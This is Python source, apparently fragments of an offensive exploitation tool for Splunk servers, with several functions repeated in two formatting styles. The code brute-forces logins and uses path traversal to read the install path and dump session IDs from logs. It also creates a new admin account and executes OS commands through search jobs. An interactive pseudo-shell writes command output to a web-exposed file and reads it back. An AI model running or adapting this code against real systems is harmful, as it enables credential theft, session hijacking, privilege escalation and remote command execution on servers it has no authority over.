def get_splunk_home(self): if not self.username or not self.password: print "[i] Valid username and password required" sys.exit() try: r = Requestobj( "{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME" .format(self.splunkd_url)) r.basic_auth(self.username, self.password) splunkdir = r.makerequest() if "ERROR" not in splunkdir.body and "Remote login disabled" not in splunkdir.body and self.splunkd: self.splunk_home = splunkdir.body.strip() else: print "[***] Could not get home dir setting default.." if "windows" in self.os_name.lower(): self.splunk_home = "c:\\program files\\splunk" else: self.splunk_home = "/opt/splunk" print "Setting Splunk home dir to:{0}".format(self.splunk_home) return self.splunk_home except Exception as err: print "[i] Error occured while attempting to read splunk home dir", err
def attempt_login(): # Dont continue if we already have admin if splunk_object.got_admin == 1: return False login_url = "{0}/services/auth/login".format(targeturl.rstrip()) r = Requestobj(login_url) poststr = "username={0}&password={1}".format(username.rstrip(),password.rstrip()) r.rawpostdata("POST", poststr) result = r.makerequest() counter.sub() counter.print_remaining() if result.find_data("Remote login disabled because you are using a free license"): print "[i] Free licence in use. No remote login required" print "[!] run the exploit again with the -f flag" sys.exit() if result.find_data("sessionKey"): print "[***] Cracked: %s:%s\n" % (username.rstrip(),password.rstrip()) try: if splunk_object.user_is_admin(username.rstrip(),password.rstrip()): splunk_object.username = username.rstrip() splunk_object.password = password.rstrip() splunk_object.got_admin =1 #print "ADMIN",splunk_object.got_admin splunk_object.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0] except Exception as err: print "[i] Error getting auth details",err return (username,password) else: pass
def user_is_admin(self,username,password): if self.splunkd == 1: # attempt to auth via splunkd to get a sessionkey self.username = username self.password = password self.splunkd_auth() url = Requestobj("{0}/services/authentication/httpauth-tokens".format(self.splunkd_url)) url.basic_auth(username,password) context = url.makerequest() if '<title>httpauth-tokens' in context.body: self.got_admin =1 return True else: return False elif self.splunkweb == 1: with misc_lock: self.username = username self.password = password if self.splunkweb_auth(): admin_only = Requestobj("{0}/en-US/manager/launcher/server/settings/settings?action=edit".format(self.splunkweb_url)).makerequest() if admin_only.find_data("Port that Splunk Web uses"): print "[i] User:{0} IS AN ADMIN.".format(username) return True else: print "[i] User:{0} is not an admin".format(username) else: pass else: print "Not Connected" return False
def dump_session_ids(self): "Exploits dir traversal issue to dump session ids" print "[i] Attemping to dump sessions" if self.splunkd == 1 and self.username and self.password: #url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url)) url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url)) url.basic_auth(self.username,self.password) result = url.makerequest() sessions=[] if "session=" in result.body: print "[i] Session ID's extracted from web_service.log" sessions = re.findall("session=(.+?)[<\s]",result.body) for session in set(sessions): print "[SESSION]",session return set(sessions)
def splunkd_auth(self): login_url = "{0}/services/auth/login".format(self.splunkd_url) r = Requestobj(login_url) poststr = "username={0}&password={1}".format(self.username.rstrip(),self.password.rstrip()) r.rawpostdata("POST", poststr) result = r.makerequest() if result.find_data("Remote login disabled because you are using a free license"): print "[i] Free licence in use. No remote login required" print "[!] run the exploit again with the -f flag" sys.exit() if result.find_data("sessionKey"): self.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0] return True else: return False
def attempt_login(): if splunk_object.got_admin == 1: return False login_url = "{0}/en-GB/account/login".format(targeturl.rstrip()) r = Requestobj(login_url) poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format( cval, username.rstrip(), password.rstrip()) r.rawpostdata("POST", poststr) r.set_custom_cookie(copyglobaljar=1) result = r.makerequest() counter.sub() counter.print_remaining() if result.find_data("This resource can be found at"): print "[***] Cracked: %s:%s" % (username.rstrip(), password.rstrip()) try: if splunk_object.user_is_admin(username.rstrip(), password.rstrip()): splunk_object.username = username.rstrip() splunk_object.password = password.rstrip() splunk_object.got_admin = 1 except Exception as err: print "[i] Error getting auth details", err return (username, password) else: pass
def add_admin(self,username,password,sessionKey): # look for 201 if self.splunkd == 1 and self.username and self.password: url = Requestobj("{0}/servicesNS/-/launcher/authentication/users".format(self.splunkd_url)) url.basic_auth(self.username,self.password) url.rawpostdata("POST","roles=user&roles=admin&name={0}&defaultApp=search&password={1}&email=&createrole=0&realname=".format(username,password)) url.add_header("authorization","Splunk {0}".format(sessionKey)) result = url.makerequest() if str(result.code) == "201": return True else: return False else: print "[!] Not connected to splunkd. Check port and creds" return False
def attempt_login(): if splunk_object.got_admin == 1: return False login_url = "{0}/en-GB/account/login".format(targeturl.rstrip()) r = Requestobj(login_url) poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,username.rstrip(),password.rstrip()) r.rawpostdata("POST", poststr) r.set_custom_cookie(copyglobaljar=1) result = r.makerequest() counter.sub() counter.print_remaining() if result.find_data("This resource can be found at"): print "[***] Cracked: %s:%s" % (username.rstrip(),password.rstrip()) try: if splunk_object.user_is_admin(username.rstrip(),password.rstrip()): splunk_object.username = username.rstrip() splunk_object.password = password.rstrip() splunk_object.got_admin =1 except Exception as err: print "[i] Error getting auth details",err return (username,password) else: pass
def search_exploit_psudoshell(self): "Execute commands via search exploit. Payload implements a virtual shell" if not self.username or not self.password: print "[i] Valid username and password required" sys.exit() if not self.splunkweb == 1: print "[error] Managment Web Interface required for this payload" return "" if self.web_authed == 0: self.splunkweb_auth() base_dir = self.get_splunk_home() #if not base_dir: # print "Failed to get splunk basedir" # base_dir = "/opt/splunk" command="" while 1: print command.rstrip() command=raw_input("shell>")# if command.rstrip() == "exit": break if "windows" in self.os_name.lower(): tmp = ">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\"".format(base_dir) command = command + tmp #'"'+ tmp +'"' else: tmp = ">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp".format(base_dir) command = command + tmp attack_body = self.search_payload_cmd(command)# attack_body = urllib.quote(urllib.unquote(attack_body)) psudoshell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url)) psudoshell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body)) for c in psudoshell_req.get_cookiejar(): if "session" in c.name: psudoshell_req.add_header("X-Requested-With","XMLHttpRequest") psudoshell_req.add_header("X-Splunk-Session",c.value) x = psudoshell_req.makerequest() import time time.sleep(3) print Requestobj("{0}/en-US/static/@105575/js/.tmp".format(self.splunkweb_url)).makerequest().body
def get_splunk_home(self): if not self.username or not self.password: print "[i] Valid username and password required" sys.exit() try: r = Requestobj("{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME".format(self.splunkd_url)) r.basic_auth(self.username,self.password) splunkdir = r.makerequest() if "ERROR" not in splunkdir.body and "Remote login disabled" not in splunkdir.body and self.splunkd: self.splunk_home = splunkdir.body.strip() else: print "[***] Could not get home dir setting default.." if "windows" in self.os_name.lower(): self.splunk_home = "c:\\program files\\splunk" else: self.splunk_home = "/opt/splunk" print "Setting Splunk home dir to:{0}".format(self.splunk_home) return self.splunk_home except Exception as err: print "[i] Error occured while attempting to read splunk home dir",err
def splunkweb_auth(self): if self.web_authed == 1: return True login_page = Requestobj("{0}/en-GB/account/login".format(self.splunkweb_url)).makerequest() # Get session cookie cval="" cval = login_page.extract_data_body('name="cval" value="(\d+?)"') if cval: cval = cval[0] r = Requestobj(login_page.url) poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,self.username.rstrip(),self.password.rstrip()) r.rawpostdata("POST", poststr) result = r.makerequest() if result.find_data("This resource can be found at"): return True self.web_authed = 1 else: print "[i] Login Failed" exit()
def search_exploit_psudoshell(self): "Execute commands via search exploit. Payload implements a virtual shell" if not self.username or not self.password: print "[i] Valid username and password required" sys.exit() if not self.splunkweb == 1: print "[error] Managment Web Interface required for this payload" return "" if self.web_authed == 0: self.splunkweb_auth() base_dir = self.get_splunk_home() #if not base_dir: # print "Failed to get splunk basedir" # base_dir = "/opt/splunk" command = "" while 1: print command.rstrip() command = raw_input("shell>") # if command.rstrip() == "exit": break if "windows" in self.os_name.lower(): tmp = ">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\"".format( base_dir) command = command + tmp #'"'+ tmp +'"' else: tmp = ">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp".format( base_dir) command = command + tmp attack_body = self.search_payload_cmd(command) # attack_body = urllib.quote(urllib.unquote(attack_body)) psudoshell_req = Requestobj("{0}/en-GB/api/search/jobs".format( self.splunkweb_url)) psudoshell_req.rawpostdata( "POST", "search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=" .format(attack_body)) for c in psudoshell_req.get_cookiejar(): if "session" in c.name: psudoshell_req.add_header("X-Requested-With", "XMLHttpRequest") psudoshell_req.add_header("X-Splunk-Session", c.value) x = psudoshell_req.makerequest() import time time.sleep(3) print Requestobj("{0}/en-US/static/@105575/js/.tmp".format( self.splunkweb_url)).makerequest().body
def search_exploit_cmd(self, command): "Execute commands via search exploit." if self.splunkweb == 1 and self.got_admin: if self.web_authed == 0: self.splunkweb_auth() print "[i] Executing Command:{0}".format(command) attack_body = self.search_payload_cmd(command) # attack_body = urllib.quote(urllib.unquote(attack_body)) shell_req = Requestobj("{0}/en-GB/api/search/jobs".format( self.splunkweb_url)) shell_req.rawpostdata( "POST", "search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=" .format(attack_body)) for c in shell_req.get_cookiejar(): if "session" in c.name: shell_req.add_header("X-Requested-With", "XMLHttpRequest") shell_req.add_header("X-Splunk-Session", c.value) x = shell_req.makerequest() elif self.splunkd == 1 and self.got_admin and self.session_key: print "[i] Executing Command:{0}".format(command) attack_body = self.search_payload_cmd(command) # attack_body = urllib.quote(urllib.unquote(attack_body)) shell_req = Requestobj( "{0}/servicesNS/admin/search/search/jobs".format( self.splunkd_url)) shell_req.rawpostdata( "POST", "ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100" .format(attack_body)) shell_req.add_header("authorization", "Splunk {0}".format(self.session_key)) x = shell_req.makerequest() else: print "Session", self.session_key print "Admin", self.got_admin print "Splunkd", self.splunkd print "[i] Exploit failed. Not connected or access denied"
def __init__(self, hostaddr, splunkd_port=8089, splunkweb_port=8000): self.splunkd_port = splunkd_port self.splunkweb_port = splunkweb_port self.max_threads = 20 self.username = "" self.password = "" self.session_key = "" self.splunk_home = "" self.got_admin = 0 self.web_authed = 0 # are we authed to the web interface self.freelic = 0 # Check splunkd server info = Requestobj( "https://{0}:{1}/services/server/info/server-info".format( hostaddr, splunkd_port)).makerequest() if info.body: self.splunkd_url = "{0}://{1}".format( urlparse.urlparse(info.url).scheme, urlparse.urlparse(info.url).netloc) else: info = Requestobj( "http://{0}:{1}/services/server/info/server-info".format( hostaddr, splunkd_port)).makerequest() self.splunkd_url = "{0}://{1}".format( urlparse.urlparse(info.url).scheme, urlparse.urlparse(info.url).netloc) if "server-info" in info.body: self.splunkd = 1 try: self.os_build = re.findall("os_build\">(.+?)<", info.body)[0] self.os_name = re.findall("os_name\">(.+?)<", info.body)[0] self.os_version = re.findall("os_version\">(.+?)<", info.body)[0] self.server_name = re.findall("serverName\">(.+?)<", info.body)[0] self.splunk_version = re.findall("\"version\">(.+?)<", info.body)[0] self.cpu_arch = re.findall("cpu_arch\">(.+?)<", info.body)[0] print "[i] Splunkd server found. Version:{0}".format( self.splunk_version) print "[i] OS:{0} {1} {2}".format(self.os_name, self.os_version, self.os_build) except Exception as err: print "Error getting splunk server info", err else: self.splunkd = 0 # Check splunk web splunkweb_info = Requestobj( "http://{0}:{1}/en-GB/account/login".format( hostaddr, splunkweb_port)).makerequest() if splunkweb_info.body: self.splunkweb_url = "{0}://{1}".format( urlparse.urlparse(splunkweb_info.url).scheme, urlparse.urlparse(splunkweb_info.url).netloc) else: splunkweb_info = Requestobj( "https://{0}:{1}/en-GB/account/login".format( hostaddr, splunkweb_port)).makerequest() self.splunkweb_url = "{0}://{1}".format( urlparse.urlparse(splunkweb_info.url).scheme, urlparse.urlparse(splunkweb_info.url).netloc) if "Splunk" in splunkweb_info.body: print "[i] Splunk web interface discovered" self.splunkweb = 1 self.cval = "" try: self.cval = splunkweb_info.extract_data_body( 'name="cval" value="(\d+?)"')[0] print "[i] CVAL:{0}".format(self.cval) except: print "[i] Error getting cval" self.splunkweb = 0 else: self.splunkweb = 0 if self.splunkweb == 1: try: url = "{0}/en-GB/manager/system/licensing".format( self.splunkweb_url) lic = Requestobj(url).makerequest() if "<h1>Free license group</h1>" in lic.body: print "[i] Configured with free licence. No auth required" #if not self.splunkd: # print "[i] Cannot connect to splunkd using free licence" # sys.exit() self.got_admin = 1 self.username = "******" self.password = "******" self.web_authed = 1 self.splunkd = 0 self.freelic = 1 self.pop_shell() except Exception as err: print "error", err exit()
def __init__(self,hostaddr,splunkd_port=8089,splunkweb_port=8000): self.splunkd_port = splunkd_port self.splunkweb_port = splunkweb_port self.max_threads = 20 self.username="" self.password = "" self.session_key ="" self.splunk_home = "" self.got_admin = 0 self.web_authed = 0 # are we authed to the web interface self.freelic =0 # Check splunkd server info = Requestobj("https://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest() if info.body: self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc) else: info = Requestobj("http://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest() self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc) if "server-info" in info.body: self.splunkd =1 try: self.os_build = re.findall("os_build\">(.+?)<",info.body)[0] self.os_name = re.findall("os_name\">(.+?)<",info.body)[0] self.os_version = re.findall("os_version\">(.+?)<",info.body)[0] self.server_name = re.findall("serverName\">(.+?)<",info.body)[0] self.splunk_version = re.findall("\"version\">(.+?)<",info.body)[0] self.cpu_arch = re.findall("cpu_arch\">(.+?)<",info.body)[0] print "[i] Splunkd server found. Version:{0}".format(self.splunk_version) print "[i] OS:{0} {1} {2}".format(self.os_name,self.os_version,self.os_build) except Exception as err: print "Error getting splunk server info",err else: self.splunkd =0 # Check splunk web splunkweb_info = Requestobj("http://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest() if splunkweb_info.body: self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc) else: splunkweb_info = Requestobj("https://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest() self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc) if "Splunk" in splunkweb_info.body: print "[i] Splunk web interface discovered" self.splunkweb =1 self.cval="" try: self.cval = splunkweb_info.extract_data_body('name="cval" value="(\d+?)"')[0] print "[i] CVAL:{0}".format(self.cval) except: print "[i] Error getting cval" self.splunkweb =0 else: self.splunkweb =0 if self.splunkweb ==1: try: url ="{0}/en-GB/manager/system/licensing".format(self.splunkweb_url) lic = Requestobj(url).makerequest() if "<h1>Free license group</h1>" in lic.body: print "[i] Configured with free licence. No auth required" #if not self.splunkd: # print "[i] Cannot connect to splunkd using free licence" # sys.exit() self.got_admin=1 self.username="******" self.password="******" self.web_authed=1 self.splunkd=0 self.freelic=1 self.pop_shell() except Exception as err: print "error",err exit()
def search_exploit_cmd(self,command): "Execute commands via search exploit." if self.splunkweb == 1 and self.got_admin: if self.web_authed == 0: self.splunkweb_auth() print "[i] Executing Command:{0}".format(command) attack_body = self.search_payload_cmd(command)# attack_body = urllib.quote(urllib.unquote(attack_body)) shell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url)) shell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body)) for c in shell_req.get_cookiejar(): if "session" in c.name: shell_req.add_header("X-Requested-With","XMLHttpRequest") shell_req.add_header("X-Splunk-Session",c.value) x = shell_req.makerequest() elif self.splunkd == 1 and self.got_admin and self.session_key: print "[i] Executing Command:{0}".format(command) attack_body = self.search_payload_cmd(command)# attack_body = urllib.quote(urllib.unquote(attack_body)) shell_req = Requestobj("{0}/servicesNS/admin/search/search/jobs".format(self.splunkd_url)) shell_req.rawpostdata("POST","ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100".format(attack_body)) shell_req.add_header("authorization","Splunk {0}".format(self.session_key)) x = shell_req.makerequest() else: print "Session",self.session_key print "Admin",self.got_admin print "Splunkd",self.splunkd print "[i] Exploit failed. Not connected or access denied"